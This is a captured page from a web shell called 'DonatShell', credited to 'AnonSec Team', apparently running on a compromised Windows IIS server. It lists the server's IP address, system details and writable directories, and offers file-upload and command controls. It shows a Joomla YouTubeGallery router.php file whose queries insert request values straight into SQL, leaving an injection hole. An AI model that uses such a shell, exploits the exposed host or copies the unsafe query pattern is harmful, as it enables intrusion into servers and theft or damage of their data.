DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_youtubegallery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_youtubegallery/router.php
<?php
/**
 * YouTubeGallery Joomla! 1.5 Native Component
 * @version 3.8.3
 * @author DesignCompass Corp <support@joomlaboat.com>
 * @link http://www.joomlaboat.com
 * @GNU General Public License
 **/

// no direct access
defined('_JEXEC') or die('Restricted access');

if(!defined('DS'))
	define('DS',DIRECTORY_SEPARATOR);
	
function YouTubeGalleryBuildRoute(&$query) {

       $segments = array();
       if(isset($query['view']))
       {
	      if (empty($query['Itemid'])) {
		     $segments[] = $query['view'];
	      }
              unset( $query['view'] );
       }
       
       
       if(isset($query['video']))
       {
	      $segments[] = $query['video'];
	      unset( $query['video'] ); 
       }
       elseif(isset($query['videoid']))
       {

	      require_once(JPATH_SITE.DS.'components'.DS.'com_youtubegallery'.DS.'includes'.DS.'misc.php');
	      
	      $allowsef=YouTubeGalleryMisc::getSettingValue('allowsef');
	      if($allowsef==1)
	      {

		     $videoid=$query['videoid'];
	      
		     $db = JFactory::getDBO();
		
		     $db->setQuery('SELECT `alias` FROM `#__youtubegallery_videos` WHERE `videoid`="'.$videoid.'" LIMIT 1');
		     if (!$db->query())    die ('yg router.php 1 err:'. $db->stderr());
		     $rows = $db->loadObjectList();
		     
		     if(count($rows)!=0)
		     {
			    $row=$rows[0];
			    if($row->alias!='')
		         	   $segments[] = $row->alias;
       
			    unset( $query['videoid'] ); 
		     }
	      }
	      
       }
       /*
       if(isset($query['video']))
       {

	      $segments[] = $query['video'];
	      unset( $query['video'] ); 
       }
       */
       return $segments;


}

function YouTubeGalleryParseRoute($segments)
{
       $vars = array();
       $vars['view'] = 'gallery';
  
              $sIndex=0;


       if(isset($segments[$sIndex]))
       {
	   $alias=str_replace(':','-',$segments[$sIndex]);
	   
	   $db = JFactory::getDBO();
	   	
	   $db->setQuery('SELECT `videoid` FROM `#__youtubegallery_videos` WHERE `alias`="'.$alias.'" LIMIT 1');
	   if (!$db->query())    die ('yg router.php 2 err:'. $db->stderr());
	   $rows = $db->loadObjectList();
	   
	   if(count($rows)==0)
			  $vars['videoid'] = '';
	   else
	   {
			  $row=$rows[0];
			  $vars['videoid'] = $row->videoid;
	   }
	   
       }
       return $vars;
}

?>

Anon7 - 2022
AnonSec Team